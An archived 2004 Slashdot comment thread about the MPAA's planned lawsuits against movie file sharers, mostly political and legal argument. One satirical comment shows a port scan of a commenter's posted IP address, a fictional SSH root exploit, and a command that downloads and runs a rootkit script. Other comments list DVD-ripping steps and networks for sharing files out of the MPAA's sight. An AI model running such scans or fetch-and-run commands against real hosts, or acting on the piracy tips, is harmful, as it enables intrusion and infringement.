Stories
Slash Boxes
Comments

News for nerds, stuff that matters

Slashdot Log In

Log In

Create Account  |  Retrieve Password

Movie Industry to sue File Sharers

Posted by samzenpus on Wed Nov 03, 2004 10:05 PM
from the juast-a-matter-of-time dept.
Wack Valenti writes "SiliconValley.com reports that the motion picture industry, taking a cue from the RIAA, is planning to file copyright infringement lawsuits against file sharers it says are illegally distributing movies online. The first suits could be filed as early as tomorrow."
+ -
story
This discussion has been archived. No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
 Full
 Abbreviated
 Hidden
More
Loading... please wait.
  • Stargate Atlantis (Score:5, Interesting)

    by Anonymous Coward on Wednesday November 03 2004, @10:09PM (#10719431)
    I got a warning letter from my friends at MGM and bay TSP about illegally sharing my 2 episodes of stargate atlantis. I thought, hey, they are tv shows, and they arent on dvd... why would they care. Well, they did care, and they sent me a letter. And you know what? because of that letter, I havent used a p2p app since. I think that if they just focused on scaring people with letters, they would get the job done just as well, without looking evil like the RIAA
    • Re:Stargate Atlantis (Score:4, Interesting)

      by Sheetrock (152993) on Wednesday November 03 2004, @10:21PM (#10719563) Homepage Journal
      Even if it isn't on DVD yet, sales of TV series on DVD are absolutely huge, to the point of outstripping movie sales. A good thing, given that advertising dollars are drying up (thanks to the fast-forwarding in Tivo-type devices).

      I wish they'd find a way to solve their problems without being outwardly hostile to the Internet, computer users, and/or their customers.

  • by Anubis350 (772791) on Wednesday November 03 2004, @10:09PM (#10719434)
    this comes right after bush gets re-elected.
    seriously though, it is kinda interesting that after a couple years of wait and see, they've suddenly decided to file these suits after bush (friend of corporations, etc) is firmly back in power

    mod me down as flame-bait if you want, I just find it an interesting point, not conspiracy but it makes sense; they waited until they knew the party that would support them was going to be in power for a while before they moved.
    • by Anonymous Coward on Wednesday November 03 2004, @10:13PM (#10719480)
      A Democrat President, with bi-partisan congressional support, passed both the DMCA and the Sonny Bono Copyright Extension Act.

      The Ninth Circuit is considered the most liberal in the country, and yet it has been very friendly to the members of the RIAA and MPAA.

      Poor government knows no party.
    • by lukewarmfusion (726141) on Wednesday November 03 2004, @10:15PM (#10719495) Homepage Journal
      You may not have meant it as flamebait, but it comes off that way... I don't think there's a strong argument for any correlation between these particular lawsuits and Bush's re-election.

      That said, I think there is a strong point to be made about companies being hesitant or cautious around election times.
    • by Lord Kano (13027) on Wednesday November 03 2004, @10:15PM (#10719503) Homepage Journal
      seriously though, it is kinda interesting that after a couple years of wait and see, they've suddenly decided to file these suits after bush (friend of corporations, etc) is firmly back in power

      Hollywood was solidly backing Kerry, maybe this is their temper tantrum because "their guy" didn't win.

      LK
    • by suckmysav (763172) <suckmysavNO@SPAMgmail.com> on Wednesday November 03 2004, @10:22PM (#10719575) Journal
      California/Hollywood and NYC are arguably the most staunchest of Democrat stronglholds. I'm not even an American and I know that much. If anyone was going to enact laws that are "Entertainment" Industry friendly, it would be a Democrat.

      Sheesh
    • by TuballoyThunder (534063) on Wednesday November 03 2004, @10:37PM (#10719725)
      Actually it is not very interesting. One of the biggest advocates of the entertainment industry is Rep Howard Berman (D-CA) [opensecrets.org]. Some of the sponsors of the INDUCE Act are Senators Hillary Clinton [opensecrets.org] (D-NY), Debbie Stabenow [opensecrets.org] (D-MI) and Paul Sarbanes [opensecrets.org] (D-MD). You can click the names to see the top contributers. It is interesting to note that neither Stabenow or Sarbanes receives much (if any) money from the entertainment industry.

      Unless you have been living on Mars for the last eight months, you might have noticed that George Bush [opensecrets.org] is not the darling of the entertainment industry. If you look at the top contributers [opensecrets.org] not one of them are from the entertainment industry. One cannot say the same for John Kerry [opensecrets.org]. The top contributors [opensecrets.org] include Time Warner and Viacom. If you look at the RNC [opensecrets.org] ($2.8M) and the DNC [opensecrets.org] ($5.7M) who do you think is more beholden to the entertainment industry?

      I think it is obvious that the actions of the entertainment industry is independent of the occupant of the White House. The Democrats are as friendly to corporations as the Republicans. If you believe otherwise, then you have tasted to much of the Kool-Aid. I hope you voted Nader, because both the Democrats and the Republicans are not for you.

  • Please (Score:5, Funny)

    by Anonymous Coward on Wednesday November 03 2004, @10:10PM (#10719447)
    Shhh.. don't say anything about Usenet
  • What ?! (Score:4, Funny)

    by Anonymous Coward on Wednesday November 03 2004, @10:11PM (#10719452)
    NOOOO!!!! I havent finished downloading all the episodes for my "Doctor Who" collection..
  • May I plug i2hub.... (Score:4, Interesting)

    by Dr Reducto (665121) on Wednesday November 03 2004, @10:12PM (#10719468) Journal
    If you are at a school that is an Internet 2 node,get on i2hub. It's only open to schools on I2, so the MPAA cannot get on to see what's going on. Additionally, d/l speeds are icredible, at about 300-400KB/sec.

    I have fully moved to private networks like this, and my University's DC++ hub. I was shocked when i saw all these people at school using public networks like Kazaa (corrupted now) and Ares and BT.
  • Funny thing is.. (Score:5, Interesting)

    by SocialEngineer (673690) <invertedpanda.gmail@com> on Wednesday November 03 2004, @10:12PM (#10719470) Homepage
    I was told I was actually a target, by our dean of men here at my college. I have no idea why - I wasn't downloading or sharing any movies, nor could I even CONNECT to p2p networks because of the filtering systems in place (I use p2p to share security docs and my own music I have written). Yup. He said the MPAA had contacted the school and was prepared to sue if it was in necessary, or something like that. I guess I'll find out tomorrow if he was full of crap or not, won't I? :)
    • by imemyself (757318) on Wednesday November 03 2004, @10:21PM (#10719560)
      Its not terribly surprising, they really don't care if the people their accusing is guilty or not. They're just throwing out hundreds of lawsuits in the hope that they'll get to steal a little money from people. Even if they have virtually no evidence, they'll eventually get lucky.
  • by Dancin_Santa (265275) <DancinSanta@gmail.com> on Wednesday November 03 2004, @10:13PM (#10719475) Journal
    'Sharing' of these copyrighted works is not legal in the first place. While it's not going to engender any great love for the film industry, this move is one of the many legal recourses that they have against copyright violators.

    To be honest, I'd rather see a return to the days of 5 dollar tickets and extra extra buttered popcorn and a Coke for a couple bucks more than see the movie industry devolve into this legal sewer. With DVD sales doing well, it becomes more and more reasonable to watch a movie in your house. With the proliferation of file-shared movies online, the quality of playback becomes less an issue as viewers get attuned to the lower bitrates.

    Personally, I'd rather go see the films in a theater and don't mind paying a couple bucks to do so. Lately, it's been getting outrageously expensive, well passed the point where one could argue that it was merely inflation. I'm not saying that file sharing would be curbed by cheaper theater tickets, god knows the addictive powers of the free movie drug. But I do think that they could really recreate the concept of the "blockbuster" with a little less take at the box office.

    In short, file sharing copyrighted works is illegal. The movie industry probably shouldn't do this, but are well within their rights to litigate. I'd like to watch movies at the theater but not pay so much.
  • Translation (Score:5, Funny)

    by Alaren (682568) on Wednesday November 03 2004, @10:13PM (#10719479) Homepage

    "The MPAA doesn't give an estimate for how much online piracy costs the industry annually, but claims the health of the industry is at stake as the copying and distribution of movies online continues to grow unabated."

    The fish [slashdot.org] translation from "press-release-ese" to "english" gives me...

    "The MPAA knows that online piracy is the least of its worries compared with media piracy overseas, but is afraid that its decrepit business model might go the way of the dinosaur if too many people learn how convenient and environmentally friendly digital distribution really is."

  • USENET (Score:5, Interesting)

    by Longtime Lurker (623962) on Wednesday November 03 2004, @10:15PM (#10719498)
    This has always made me wonder. Why are they targetting just p2p and not USENET? I know you can pull down a lot of files from USENET with the benefit of a centralized server so you don't have to wait for a ton of people to jump on to get your bandwidth capped.

    I always wondered why USENET is not targetted.

    • by IBitOBear (410965) on Wednesday November 03 2004, @10:35PM (#10719710) Homepage Journal
      USENet isn't really all that centralized, and it isn't as well known. Nobody _really_ "administers" it and nobody with money really runs it.

      It is peer-to-peer and egalatarian as hell, but everybody (with linux anyway) already has the software and you have to search it *by* *hand*. It is SUPER EASY to forge a message, especially if the forger is an admin of a host system.... *any* host system in the net.

      Nobody really has the power to unilaterally remove any of the content in particular, and even the venerable "cancel message" can be blocked. As long as any USENET backbone exists almost any message can "pibby-back" through the "blocked" parts of the net as a crosspost.

      It is just too soft a target to really take any action against. Don't beleive me, just look at what is flowing there. The borderline kiddy-porn that is in the alt.binaries.(whatever) group is unstopable.

      Besides, there are enough stupid people involved that you can't keep titty-pictures out of alt.sex.pictures.erotica.gay.male. What a dumb waste of time to try to *send* those pictures in that forum. What a DUMB waste of time trying to STOP those pictures from being sent in that forum.

      What an _incridible_ waste of time trying to filter, find, and catch every single USENET server site in an attempt to really trace the sources of movie fragments....

      If *you* had to "go after" USENET where would *YOU* start?

      P.S. Remember: Drugs, Terrorisim, and Kiddy Porn are the root passwords to the US Constitution.
  • by ShatteredDream (636520) on Wednesday November 03 2004, @10:15PM (#10719499) Homepage
    Rent a DVD from blockbuster
    Play it with VideoLan client
    Open up dvd smartripper
    Rip the DVD
    Run the ripped files through DVD2One
    Burn to a DVD
  • Double Standard (Score:4, Insightful)

    by Anonymous Coward on Wednesday November 03 2004, @10:15PM (#10719507)
    Interesting that this is upsetting. I read an earlier post that considered a spammer "stealing" their time as part of a justification for it being a crime. That may be debateable, they got a good mod though for the thought, but it isn't debateable that the downloaders are stealing some one's work. The work was done for the purpose of making a living. It was a legitimate business and harmed no one. Somehow the spammer is a criminal for stealing time yet the downloader is somehow extercising some nonexistent right of free exchange of information. How is this not a double standard? Just because one benefits you and the other harms you?
  • Yawn... (Score:5, Interesting)

    by Aaron England (681534) on Wednesday November 03 2004, @10:20PM (#10719547)
    Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.
    • Re:Yawn... (Score:4, Funny)

      by dukeisgod (739214) on Wednesday November 03 2004, @10:25PM (#10719601)
      The popups are right "Warning, you are broadcasting your IP address over the internet..."
    • Re:Yawn... (Score:5, Funny)

      by pyrrhonist (701154) on Thursday November 04 2004, @12:03AM (#10720304)
      Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

      Dear Mr. England,

      Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:

      $ nmap -P0 -sT 199.2.120.89

      Starting nmap 3.70 ( http://www.insecure.org/nmap ) at 2004-11-03 22:47 Eastern Standard Time
      Interesting ports on 199.2.120.89:
      PORT STATE SERVICE
      22/tcp open ssh

      Nmap run completed -- 1 IP address (1 host up) scanned in 1.732 seconds

      $ supersshnuke --root-shell 199.2.120.89

      Contacting 199.2.120.89... Connected!
      Detecting SSH version... Done!
      SSH on this machine is: older than dirt
      Attempting sploit... PWNED!
      Dropping you into a root shell...

      # wget -q http://mpaa.org/rootkit/linux/suite-6.22.sh
      # sh suite-6.22.sh
      MPAA Customer Compliance Suite V6.22
      Downloading MCCS Components... 100%
      Installing MCCS... 100%
      Configuring MCCS... 100%
      Starting MCCS...
      Done!
      # tail /var/log/messages
      Nov 3 22:59:50 localhost mccs: blocked evil site "suprnova.org"
      Nov 3 22:59:56 localhost mccs: killed evil p2p application "edonkey"
      Nov 3 22:59:57 localhost mccs: killed evil p2p application "bitorrent"
      Nov 3 22:59:58 localhost mccs: killed evil p2p application "irc"
      Nov 3 23:00:10 localhost mccs: DRM compliance scan started...
      Nov 3 23:02:12 localhost mccs: deleting non-compliant file, "speed-movie.mp4"
      Nov 3 23:02:13 localhost mccs: deleting non-compliant file, "lordofrings.divx"
      Nov 3 23:02:14 localhost mccs: deleting MPAA embarrassment, "free-willy.mp4"
      Nov 3 23:02:15 localhost mccs: deleting non-compliant file, "deep-throat.mp4"
      Your computer is now safe from non-compliance. Thank you for your cooperation.

      Sincerely,
      Mortimer Snerd
      MPAA Compliance Officer

  • Wooooohooooo (Score:4, Insightful)

    by IamGarageGuy 2 (687655) on Wednesday November 03 2004, @10:24PM (#10719593) Journal
    Glad I live in Canada and not some oppressed nation where you can go to jail for stealing a movie. Boy, you guys should get some better leadership...oops sorry wrong day. Go ahead mod me to hell.
    • Re:Wooooohooooo (Score:5, Informative)

      by bigberk (547360) <bigberk@users.pc9.org> on Wednesday November 03 2004, @11:06PM (#10719888)
      Glad I live in Canada and not some oppressed nation
      You're being overconfident. Both the Liberals and the NDP support ratification of WIPO [wikipedia.org] which formed the DMCA in the US. If you think your politicians in Canada are protecting your right to fair use of media, you're wrong. Why not head on over to the digital-copyright forums [digital-copyright.ca] and get involved; fight for your right to fair use of digital media.
  • by petra13 (785564) on Wednesday November 03 2004, @10:26PM (#10719611) Journal
    Ok, in all fairness I haven't verified whether or not this is true (feel free to correct me)- but supposedly the reason the movie industry established itself in California in the first place was because people who wanted to make movies were having patent issues with Thomas Edison. They went out west where enforcing patent law wasn't a big deal and screwed Edison out of a profit.

    So now the RIAA are going to go after people for violating copyright law and screwing them out of their profit. *Sigh* Not that it's the same people in charge now... but still. Anyone want to vote hypocritical bastards?

  • Cease and Desist! (Score:5, Interesting)

    by tsm_sf (545316) * on Wednesday November 03 2004, @10:27PM (#10719618) Journal
    Interesting... my ISP just forwarded a C&D email from the MPAA aimed at my IP address. I'll be curious (an understatement!) to see if they are successful in getting my snail mail address out of my ISP after the Verison decision.

    I /had/ a wireless router running to provide access to anyone in range (it'll be back up after I get around to blocking off everything but 80 and 25, i guess), but I'm assuming that the whole "common carrier" exemption to network traffic only applies to corporations large enough to buy their own congressman.

    So... is this the end of offering open access to your neighborhood? I have no interest in monitoring traffic over my network, but it looks like the buck stops at the little guy (as usual).
  • by cait56 (677299) on Wednesday November 03 2004, @10:27PM (#10719619) Homepage

    Just a thought for consideration.

    Perhaps the RIAA's actions are objectionable not because they are protecting Intellectual Property rights, but because they are using illegal search techniques and shotgun accusation techniques in a clumbsy attempt to do so.

    I for one would have no objection to the MPAA suing people whom they have determined are offering copyrighted material for download based upon public web pages or other public directories. And where they have actually downloaded enough of the file to verify that it is indeed the copyrighted material and not just a matching file name.

  • by Cryofan (194126) <cryofanNO@SPAMyahoo.com> on Wednesday November 03 2004, @11:01PM (#10719862) Homepage Journal
    One way to fight the movie industry is to use freeway blogging. The movie industry is different from the music industry. A lot of their revenue comes from concentrated sources--namely these huge cineplexes that are frequently located near high traffic areas such as freeways. You could hurt them and cost them some money by placing signs on these high traffic roads near the cineplexes. The signs would tell people about the lawsuits.

    More on Freeway Blogging. [freewayblogger.com]

  • by rueger (210566) * on Wednesday November 03 2004, @11:34PM (#10720094) Homepage
    Am I the only one who is spooked by the number of posts here that claim that gee whiz, "we got a letter from the MPAA or RIAA, or just plain got scared of getting arrested, and now we have completely stopped filesharing"? And don't we feel so much cleaner?

    10719431 [slashdot.org]
    10719438 [slashdot.org]
    10719453 [slashdot.org]
    10719470 [slashdot.org]
    10719614 [slashdot.org]
    10719618 [slashdot.org]
    10719643 [slashdot.org]
  • by jgalun (8930) on Wednesday November 03 2004, @11:38PM (#10720127) Homepage
    Back when the RIAA started suing file sharers, the Slashdot party line was that the RIAA should learn from the MPAA. The MPAA, it was argued, wasn't suing its consumers, but was instead producing a higher quality product that was actually worth buying. Unlike CDs, where you paid $14 for only one or two tracks actually worth owning, DVDs came chock full of goodies that made people want to shell out the $20, like alternate endings and director's commentary.

    At the time, I called BS, and said that the only reason that the MPAA wasn't suing yet was because video piracy wouldn't take off until Internet connections got a bit faster - given that video files are much bigger than audio files.

    Well, guess what, that was exactly the case. I assure you, if FTTH becomes a reality, this will become an even bigger problem. Please, let's stop fooling ourselves that pirates are making a pseudo-moral decision that pirating from certain evil companies is ok, but pirating other products is not ok because those products are actually worth the money.

    People pirate what is easy to pirate. That's how I pirate! Audio and video cassettes made pirating copyrighted materials easier, but not particularly easy, because it takes too long to copy and distribute copyrighted materials that way.

    Computers and the Internet made this type of piracy an order of magnitude easier. Each time we get faster connections to the Internet and bigger hard drives, it gets easier still.

    Stop pretending that the companies can offer you something to stop you from pirating their products. Or next, will you be saying that, actually, while the director's commentaries and alternate endings are great, DVDs are too expensive at $20 and need to come down to $10, otherwise you'll pirate them?

    And then, what will stop you from demanding $5?

    Listen, either you're ok with pirating copyrighted works, or you're not. But stop pretending that you're only ok with it because the system is rotten. Because there is no evidence that if the threat of lawsuits were lifted and prices dropped, anything would change.

    And, also, please stop pretending that it's because the RIAA and MPAA are fighting the Internet or computers or modern technology. Last time I checked, Outkast just went platinum from online mp3 sales. iTunes sells millions of songs per year, online. The RIAA and MPAA have no problem with modern technology. But they need to make sure it works in such a way that it doesn't enable unrestricted piracy.
  • by GojiraDeMonstah (588432) on Thursday November 04 2004, @01:21AM (#10720727) Homepage
    Lesssee here. You willingly re-elected a president who has done more damage to the bill of rights than any person in the country's history. A man who has shown a clear preference for the interests of large corporations over the people he is supposed to lead. So the *AA's abusive and heavy handed tactics are surprising... how?

    It seems that this is clearly the kind of thing Americans want. If the capacity for outrage doesn't exist for prisoners of war abused in Iraq, if it doesn't exist for voting machine manufacturers pledging money and support for only one party, if it doesn't exist for the zero accountability expected of the Enron, Worldcom, and Haliburton criminals... why should any American give a second thought to the people who will be fscked by the MPAA?

    As has been said by people more eloquent than I, it's too late [austinchronicle.com] anyway.
  • What do I get? (Score:5, Interesting)

    by arose (644256) on Thursday November 04 2004, @03:13AM (#10721175)
    Sometimes I have to ask myself, what do I get out of copyright as it stands today? Public domain is stale with little adding to it while production of copyrighted works and profit from them is at an all time high. The works I want aren't (legaly) avainlable here anyway, not to mention insane prices compared to typical income. What do I get? Marketing to get me excited over things I can't buy, thank you copyright!
    • by turnstyle (588788) on Wednesday November 03 2004, @10:10PM (#10719439) Homepage
      It wasn't all that long ago that the EFF suggested that the entertainment industry should be suing infringers [com.com].
      • by Anthony Boyd (242971) on Wednesday November 03 2004, @11:54PM (#10720252) Homepage

        What bugs me about the EFF statement is that they've backed away from it. I thought it was right all along to sue the individuals responsible for copyright infringement, and I still do (although I'm crass enough to make disparaging comments about the RIAA/MPAA as they sue). I currently use Kazaa to share out a handful of audio sermons from my church's pastor -- content that we own the copyrights to and are fully, legally allowed to distribute however we wish. So I have a vested interest in Kazaa and BitTorrent remaining legal. They have a legitimate use: they diminish the load on our Web server (and by extension, the cost) by distributing the load.

        As the Web sites I volunteer for begin experiementing with video and other large chunks of data, it is imperative that technology assist us in moving forward. If we artifically limit the technology, then we will be unable to offer up content, even though we own the copyright on it, and wish to provide it for free!

        Of course, suing thousands of naive kids and tech-illiterate grannies isn't really going to stop an onslaught of millions of infringers, and does have a chilling effect on legitimate uses such as mine, and does play right into the old line about making all citizens into criminals to keep them under control. So even though it's the right way to do it, I'm not sure what good it does.

    • by IBitOBear (410965) on Wednesday November 03 2004, @10:20PM (#10719555) Homepage Journal
      Now that we have proven we are sheeple who will roll over for just about anything as long as the spin is right, why *SHOULDN'T* they sue?

      As far as I am concerned, at this point we should all be doing our best to hasten the decline.

      Everybod jump on the pendlum and push. It's gotta swing trough it's arc before there will be any relief. The United States of America has to legislate and litigate itself into its role as a backwater far off the information super-highway, before anything here can get fixed.

      The sooner the rest of the world leaves us in the economic and Intellectual Property [sic] dust, the better.

      In fact, if the corporations can make enough of a mess SOON ENOUGH, it could even prevent the stupid legislation.

      Sue Away, MPAA! (hey it rymes, it should be their new slogan! 8-)

      As environmental pressure increases, the organisim is forced to evolve.

      So it will be _best_ for the world if we can all get the pressure up as fast as possible.

      Plus we know how much credibility the US now has overseas. The more they win here, the freer the rest of the world will be. They *know* (hopefully) that if they follow our lead, then they will enevitably end up with a Bush of their own.
      • The pendulum analogy is flawed. It assumes that there is some natural universal law that dictates that once things reach their limit, it is inevitable that it swing back the other way. This is indeed true when applied to certain situations, but nothing says that it applies to every situation, or even to this one.

        The MPAA has the financial resources and the political might to possibly "tie" that pendulum down as soon as it swings far enough their way. If you help swing it, are you so certain that they won't nail it in place at the edge of its arc?
        • by IBitOBear (410965) on Wednesday November 03 2004, @11:47PM (#10720196) Homepage Journal
          It is not as flawed as you presume. The period is highly unstable and subject to external forces, but eventually it swings.

          When you repress your own businesses, the market goes elsewhere. That is the free market theory at least. To date the swing of the pendlum often leaves countries totally devistated in its wake if it goes to far, but the regions recover even if the political systems don't.

          I beleive that the current economic trends are tanamount to disaster and if the "ugly" can come on fast enough to be noticed by the populace they may act to fixe it.

          We are boiling frogs here (to mix a metaphore). If the "Broadcast flag" (for instance) were to "suddenly go live tomorrow" it would be gone in a year. If we let it ease in slowly we may be stuck with it for decades.

          As it is now, the "rising rate-rate of litigation" (yes, rate twice) is enough that our economic partners around the world are starting to notice and scatter. But consider that this change of rate has been exhibited almost solely in my lifetime (or more correctly in Ralph Nader's professional lifetime). It has not yet become ensconsed in our "perminant" way of life, it hasn't outlived a generation cradle-to-grave. It isn't "tradition", so it is possible to escape it *IF* we can get the public to see the precipice.

          I don't really "wish" for the colapse as some kind of nielist orgastic ideal. I have just become convinced that it is essentially enevitable.

          (To continue to mix metaphores) we *really* need to pull the band-aid(tm) off quick, or we are going to lose a _heck_ of a lot of hair... 8-)

          But even if the entire United States colapses economically (which would be hard to do given that we grow lots of food) business and creativity will simply rise somewhere else.

          It's not a pretty pendulum. It's not a "local" pendulum. But the cycle persists.

          Wehn it gets totally out of wack, we (editorial we not royal or possessive we) throw a war...

          Oh wait...

          How many wars does any given "we" get before the world calls a time-out? 8-)
      • by suckmysav (763172) <suckmysavNO@SPAMgmail.com> on Wednesday November 03 2004, @10:47PM (#10719772) Journal

        "As far as I am concerned, at this point we should all be doing our best to hasten the decline. Everybod jump on the pendlum and push. It's gotta swing trough it's arc before there will be any relief. The United States of America has to legislate and litigate itself into its role as a backwater far off the information super-highway, before anything here can get fixed."

        Amen to that brother! I was rooting for Shrub to win the election for that very reason! He is pretty much despised (and rightly so) down here in Australia, and you'd better believe that the people I told that to reacted with shock and disbelief.

        The sooner the U.S. destroys itself, the sooner the rest of us can carry on our lives without being subjected to every base pop media fad to emerge from the rancid American slum-culture de jour.

        Just why a middle class Australian would want to emulate the lifestyle of a crack addicted black urban slum dweller eludes me.

            • by HybridJeff (717521) on Thursday November 04 2004, @03:00AM (#10721118) Homepage
              YOU DO NOT DESERVE THE FRUIT OF OTHER PEOPLE'S LABOR

              You know what? You're absolutly right. Of course we dont deserve the right to other people labor. But people dont deserve most of what they get in life. Be it good or bad, lifes not fair that way. But that doesnt mean that its wrong to take advantage of the situation and get ahead while you can. If ive got a means to gain somthing, be it knowledge, entertainment, or anythign else, if it doesnt take away from or harm someone esle, im going to go for it. Nerds in their rooms using bit torrent will NOT bring the industry to its knees. It will just anger them, make them more strict and less likely to listen to reason.

              On that point I'd like to point somthign out. Nerds sitting in their rooms have made a difference. Ever heard of iTunes, movielink, or netflicks? It would be impossible to download movies or music online legally if people hadn't pirated them first. We'd still be stuck having to go to the store and purchase or rent hard copies of evreything if hollywood and the music industry hadn't had their hands forced.

              And participate in our government. people who disagree with the system should become consumer rights advocates. raise money, hire lobbyists, support candidates, make tv commercials. co-opt the current political parties. work the system

              I never suggested not working the system. But working the system doesnt mean you cant also work outside of the system. Not all people can afford to put out TV commercials for propaganda, hire lobbyists, or switch careers. That doesnt mean they should be unable to play a part. Part of the process in changing society is doing what you feel is right, and then working to make it legal. Unjust laws should not be followed, they should be broken, and shown to be the mistakes that they are.

              Anyways, im tired and im going to bed. I doubt that I will be able to bring you over to my way of thinking (and tahts not really the goal anywyas), or you me. If anyone continues this line of discussion further, I'll take a look and comment on it tommorow.

    • Re:Why only now? (Score:5, Insightful)

      by ScrewMaster (602015) on Wednesday November 03 2004, @10:17PM (#10719515)
      Well, what I find interesting is that they're going ahead with it, in the face of the RIAA's near-total failure. Sure, they screwed up some people's lives, but they haven't really done anything positive for their member companies so far as slowing the pace of file sharing. Come to think of it, they haven't really done anything positive for their members. But, hey ... maybe the MPAA figures that a double-whammy (music and movies) will be more successful. Personally, I doubt it.
    • Re:Why only now? (Score:5, Interesting)

      by metlin (258108) * <narayan@f a s . h a r v ard.edu> on Wednesday November 03 2004, @10:17PM (#10719521) Homepage Journal
      It's not _exactly_ the first time.

      The MPAA has been doing this for quite a while.

      I remember when they sent a C&D letter to Pirate Bay, a filesharing site in Sweden for putting up the sound-track of Shrek on Torrent.

      Ofcourse, the response was even better - classic Fuck You [thepiratebay.org].

      And I'm sure we all remember the fiasco of movie premiers being up on filesharing networks, and how the MPAA raised a ruckus.

      Definitely not the first time, I guess they're just going to intensify their efforts more.
    • Re:Why only now? (Score:4, Interesting)

      by Eric Giguere (42863) on Wednesday November 03 2004, @10:28PM (#10719627) Homepage Journal

      Probably because hard disks capacities are so large and DVD burners are now pretty much standard equipment on PCs. There must be a corresponding increase in movie pirating, critical mass must have been reached.

      Me, I wish they had a "burn on demand" (BOD) model where you pay a minimal fee (think rental cost, ideally cheaper) and get to burn a movie on DVD. No case, no extras, just the movie.... I guess video-on-demand is almost the same...

      Speaking of lawyers: Vioxx is Prozac for lawyers [ericgiguere.com]
    • by GuyMannDude (574364) on Wednesday November 03 2004, @11:19PM (#10719963) Journal

      The RIAA has been doing this for so long, why is the MPAA only doing this now, I wonder?

      Hey, who cares? No self-respecting geek clutters up their hard drives with the drivel that the MPAA members produce. Now if the Porn Industry Movie Producers (PIMP) start cracking down on sharing Miko Lee and Jenna Jameson flicks, then us geeks are really going to be in trouble.